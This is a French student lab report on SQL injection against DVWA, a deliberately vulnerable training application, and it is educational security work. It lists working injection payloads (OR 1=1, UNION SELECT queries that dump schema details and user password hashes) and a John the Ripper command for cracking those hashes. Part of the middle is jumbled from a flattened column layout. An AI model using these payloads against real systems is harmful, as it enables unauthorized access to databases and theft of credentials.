TP n°3 : Sécurité contre les attaques par injection SQL
L’injection SQL :
est un type de cyberattaque dans lequel un attaquant insère du code malveillant dans une instruction
SQL afin de manipuler ou d’accéder à des données dans une base de données. Il s’agit d’une méthode
couramment utilisée par les attaquants pour obtenir un accès non autorisé à des données sensibles,
telles que les identifiants de connexion ou les informations personnelles.
DVWA :
DVWA est une application Web conçue pour enseigner la sécurité des applications Web. Il signifie
Damn Vulnerable Web Application. Il s’agit d’une version vulnérable d’une application Web qui peut
être utilisée pour tester et améliorer vos connaissances en matière de sécurité des applications Web. Il
est destiné à être utilisé dans un environnement contrôlé à des fins d’apprentissage et de test
uniquement, et ne doit pas être utilisé sur des systèmes de production.
DVWA est construit en utilisant PHP et MySQL, et il inclut une variété de vulnérabilités telles que
l’injection SQL, le cross-site scripting (XSS) et la falsification de requête inter-sites (CSRF). Il
comprend une gamme de niveaux de difficulté, permettant aux utilisateurs de tester leurs compétences
sur des défis faciles, moyens et difficiles.
Pour utiliser DVWA, vous devez l’installer sur un serveur Web et le configurer pour qu’il fonctionne
avec une base de données. Vous pouvez ensuite accéder à l’application via un navigateur Web et
commencer à tester vos compétences en matière de sécurité des applications Web.
SQL injection – Low Level
Dans la première étape de cette attaque par injection SQL sur le niveau « Faible » de
DVWA, l’attaquant tente de comprendre la logique de l’application. L’application dispose
d’un champ unique, « id », qui renvoie des informations sur l’utilisateur avec l’identifiant
correspondant.
a. Input: 1 :
Pour tester la vulnérabilité du code,
on peut envoyer des caractères spéciaux qui
provoqueront des erreurs si les données ne
sont pas correctement validées.
La syntaxe SQL exploitée ici est la suivante :
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
b. Input: ‘ :
Dans ce cas ,nous pouvons remarquer qu’elle renvoie un message d’erreur.
En effet, le guillemet simple ('), également appelé apostrophe, est souvent utilisé pour
placer des chaînes dans les instructions SQL.
Si les données ne sont pas correctement validées, le guillemet simple peut être utilisé
pour injecter une instruction SQL malveillante dans l’application.
Ce message d’erreur indique que l’application est vulnérable aux attaques par injection
SQL. Si l’application n’était pas vulnérable, elle nettoierait correctement l’entrée pour
empêcher l’injection de code malveillant et n’afficherait aucun message d’erreur.
c. Input : 1 ‘ OR 1=1 #
La syntaxe SQL exploitée ici est la suivante
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
L’entrée que nous avons fournie inclut une charge utile d’injection SQL qui manipule
l’instruction SQL d’origine. La charge utile se compose des composants suivants :
1’ : Ceci est inclus pour correspondre à l’original 'WHEREWHERE de l’instruction SQL,
qui filtre les résultats en fonction de la id colonne.
OR 1=1 : C’est une condition qui est toujours vraie, donc elle provoque l’ensemble
WHERE à évaluer à vrai. Par conséquent, toutes les lignes de la section 'users'users sont
renvoyés.
# : Il s’agit d’un marqueur de commentaire SQL, qui fait que tout ce qui suit est ignoré.
Ceci est inclus pour masquer le reste de l’original WHERE, qui provoquerait sinon une
erreur de syntaxe.
d. la requête suivante :SELECT firstname,surname FROM table
WHERE id = ' 1 ' OR 1=1 # '
e.
e.
e.
Input: 1 ‘ and 1=1 #
La première étape
si le formulaire W
l'injection SQL en
f. Input: 1 ‘ or 1=1 caractères spéciau
ORDER BY 2 # des opérateurs te
Si le formulaire n'
correctement vali
peut entraîner de
résultats inattend
une vulnérabilité.
g. Input: x ‘ and 1=1 UNION
ALL SELECT 1,@@version # Ensuite l'attaquan
des requêtes SQL
informations sens
noms d'utilisateur
passe, en utilisant
telles que UNION
interrogeant les s
h. Input: x ‘ and 1=1 UNION
d'information. L'a
ALL SELECT 1,user(); # également utiliser
pour accéder à d'
données, telles qu
données mysql, e
d'autres comman
i. Input: x ‘ and 1=1 UNION ALL
SELECT 1,database(); #
j. Input: x ‘ and 1=1 UNION ALL
SELECT 1,@@hostname; #
En utilisant cette chaîne de caractères comme
entrée, l'opérateur "and 1=1" indique que la condition
est toujours vraie. De plus, l'instruction "UNION ALL
SELECT" indique que les résultats de la sélection seront combinés avec ceux d'une
autre sélection.
La fonction @@hostname renvoie le nom d'hôte du serveur SQL en cours
d'exécution. En conséquence, la requête sélectionnera toutes les lignes de la table où la
condition est vraie, et combinera ces lignes avec le résultat de la sélection du nom
d'hôte du serveur SQL.
k. Répertoire local de la base : Input: x ‘ and 1=1 UNION ALL
SELECT 1,@@datadir;#
La fonction @@datadir renvoie le répertoire local de la base de données en cours
d'exécution. En conséquence, la requête
sélectionnera toutes les lignes de la table
où la condition est vraie, et combinera ces
lignes avec le résultat de la sélection du
répertoire local de la base de données.
l. Input: x ‘ and 1=1 UNION ALL SELECT user,password FROM
[Link]' and 1=0 union select null,
table_name from
information_schema.tables #
En utilisant cette chaîne de caractères comme entrée,
l'opérateur "and 1=0" indique que la condition est
toujours fausse. De plus, l'instruction "UNION
SELECT" indique que les résultats de la sélection seront
combinés avec ceux d'une autre sélection. L'instruction
"SELECT null, table_name from
information_schema.tables" sélectionne les noms de
toutes les tables présentes dans le schéma d'information
de la base de données. En conséquence, la requête
sélectionnera toutes les tables présentes dans le schéma
d'information et les affichera dans le résultat de la
requête.
n. Lister toutes les tables utilisateur dans le schéma d'information:
test' and 1=0 union select null, table_name from
information_schema.tables where table_name like 'user%'#
Cette chaîne de caractères contient une instruction "UNION SELECT" qui indique que
les résultats de la sélection seront combinés avec ceux d'une autre sélection. La chaîne de
caractères "null, table_name from information_schema.tables where table_name like 'user%'"
indique que la requête sélectionnera toutes les tables dont le nom commence par "user" dans
le schéma "information_schema". L'opérateur "and 1=0" indique que la condition est toujours
fausse, ce qui signifie que la première sélection ne retournera aucun résultat. En conséquence,
seules les tables sélectionnées par la deuxième sélection seront affichées dans les résultats de
la requête.
o. test' and 1=0 union select null,
concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
La chaîne de caractères
"concat(table_name,0x0a,column_name)" utilise la
fonction CONCAT pour concaténer le nom de la table,
un saut de ligne (0x0a) et le nom de la colonne. La
chaîne de caractères "from information_schema.columns
where table_name = 'users'" indique que la requête
sélectionnera les colonnes de la table
"information_schema.columns" où le nom de la table est
"users".
En utilisant cette chaîne de caractères comme entrée, la
requête sélectionnera toutes les colonnes de la table
"users" et combinera ces colonnes avec un résultat vide
(NULL). Cela entraîner l'affichage des noms de toutes les
colonnes de la table "users" dans le résultat de la requête.
p. test' and 1=0 union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)
from users #
Pour afficher toutes les informations d’authentification nécessaires présentes dans
les colonnes stockées dans le information_schema, utilisons la syntaxe SQL ci-
dessous :
La chaîne de caractères"concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)"
utilise la fonction CONCAT pour concaténer les colonnes "first_name", "last_name",
"user" et "password" avec des sauts de ligne (0x0a). La chaîne de caractères "from
users" indique que la requête sélectionnera toutes les lignes de la table "users".
En utilisant cette chaîne de caractères comme entrée, la requête sélectionnera toutes
les lignes de la table "users" et combinera ces lignes avec un résultat vide (NULL).
Cela entraîner l'affichage du contenu de toutes les colonnes de la table "users" dans le
résultat de la requête.
De l’image ci-dessus, nois pouvons voir que le mot de passe a été renvoyé dans son
format haché.
On peut aussi :
Afficher la version de la base de données :
Pour connaître la version de la base de données sur laquelle l’application DVWA
s’exécute, nous pouvons entrer le texte ci-dessous dans le champ ID utilisateur.
%' or 0=0 union select null, version() #
La version de la base de données sera répertoriée sous le nom de famille dans la
dernière ligne comme indiqué dans l’image ci-dessous.
SQL injection – Medium Level
D’après les codes sources :
Lorsqu'une application utilise la fonction "mysql_real_escape_string" pour
échapper les caractères spéciaux d'une chaîne de caractères avant de l'inclure dans une
requête SQL, cela peut aider à protéger contre les injections SQL en empêchant les
caractères spéciaux de modifier la structure de la requête. Cependant, cette protection
n'est efficace que si les paramètres sont correctement mis entre guillemets dans le code
et si tous les paramètres sont correctement échappés.
Dans le cas où les paramètres ne sont pas correctement mis entre guillemets ou
échappés, il sera possible d'injecter du code SQL tant qu'il ne contient pas les caractères
échappés par "mysql_real_escape_string". Par exemple, la chaîne de caractères "1 or 1 =
1" pourrait être utilisée pour contourner la protection de "mysql_real_escape_string" et
injecter du code SQL dans la requête.
Il est recommandé de toujours utiliser des pratiques de sécurité adéquates pour protéger
contre les injections SQL, telles que l'échappement des caractères et la validation des
entrées utilisateur. Il est également recommandé de s'assurer que tous les paramètres
sont correctement mis entre guillemets et échappés pour empêcher les injections SQL.
Il est possible qu'il y ait d'autres protections en place au niveau "Medium" de
l'application DVWA pour faire face aux injections SQL, comme par exemple une
validation de l'entrée utilisateur pour s'assurer qu'elle correspond à un format attendu ou
une limite de la taille de l'entrée. Il est recommandé de vérifier le code source de
l'application pour obtenir plus d'informations sur les protections mises en place.
SQL injection – High Level
En passant au niveau "High Level" de DVWA, j'ai remarqué que les injections qui avaient
réussi précédemment ne fonctionnaient plus. En vérifiant le code source de la page web,
j'ai constaté que de nouvelles protections avaient été ajoutées, notamment l'utilisation
de la fonction mysql_real_escape_string() qui échappe les caractères spéciaux dans les
chaînes de caractères avant de les envoyer à la base de données. J'ai également
remarqué que la requête SQL était maintenant préparée et exécutée en utilisant les
fonctions de préparation de requête de MySQL, ce qui empêche les injections de code
malveillant.
Pour surpasser ces nouvelles protections, j'ai essayé différentes techniques d'injection,
notamment l'utilisation de commentaires multi-lignes et l'utilisation de caractères
spéciaux échappés. J'ai également essayé d'utiliser des outils en ligne tels que SQLMap
pour tenter d'injecter du code malveillant dans la base de données. Malgré ces efforts, je
n'ai pas réussi à contourner les protections mises en place au niveau "High Level" de
DVWA.
Attaque par force brute sur les mots de passe
Pour lister le contenu de toutes les colonnes dans la table users, je peux utiliser l'injection
suivante :' union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Cette injection me permet d'afficher toutes les informations d'authentification de tous les
utilisateurs dans la base de données, y compris leur hashs de mot de passe.
Une fois que j'ai accès à ces hashs, je peux utiliser l'outil John the Ripper sur Kali Linux
(ou un autre outil de mon choix) pour essayer de casser la protection des mots de passe
hashés. Pour ce faire, je peux utiliser la commande suivante :
john --format=RAW-MD5 [Link]
Cette commande utilise John the Ripper pour essayer de trouver les mots de passe en
clair à partir des hashs de mots de passe contenus dans le fichier [Link]. John the
Ripper sera capable de trouver certains des mots de passe en clair et je pourrai utiliser
ces informations pour tenter de m'authentifier sur le système en utilisant les mots de
passe trouvés.